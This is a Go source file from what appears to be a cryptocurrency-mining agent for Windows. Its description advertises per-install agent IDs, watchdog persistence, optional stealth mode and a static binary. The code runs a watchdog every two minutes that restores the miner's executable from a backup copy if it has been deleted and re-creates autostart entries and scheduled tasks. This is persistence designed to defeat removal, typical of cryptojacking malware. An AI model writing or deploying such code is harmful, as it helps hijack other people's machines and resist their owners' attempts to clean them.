Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
67 lines
1.4 KiB
Go
67 lines
1.4 KiB
Go
package deploy
|
|
|
|
import (
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const backupSuffix = ".bak"
|
|
|
|
// StartWatchdog keeps persistence and the installed binary healthy.
|
|
func StartWatchdog(cfg config.RuntimeConfig) {
|
|
if !cfg.SelfHealing {
|
|
return
|
|
}
|
|
go func() {
|
|
ticker := time.NewTicker(2 * time.Minute)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
if err := maintainInstall(cfg); err != nil {
|
|
log.Printf("[watchdog] maintenance: %v", err)
|
|
}
|
|
}
|
|
}()
|
|
}
|
|
|
|
func maintainInstall(cfg config.RuntimeConfig) error {
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
|
backupExe := installedExe + backupSuffix
|
|
|
|
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
|
if _, statErr := os.Stat(backupExe); statErr == nil {
|
|
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
|
return copyErr
|
|
}
|
|
log.Printf("[watchdog] restored missing binary from backup")
|
|
}
|
|
}
|
|
|
|
if cfg.AutoStart {
|
|
if err := configureAutoStart(cfg, installedExe); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
|
if err := createScheduledTask(cfg, installedExe); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func saveBackup(installedExe string) error {
|
|
backup := installedExe + backupSuffix
|
|
if _, err := os.Stat(backup); err == nil {
|
|
return nil
|
|
}
|
|
return copyFile(installedExe, backup)
|
|
}
|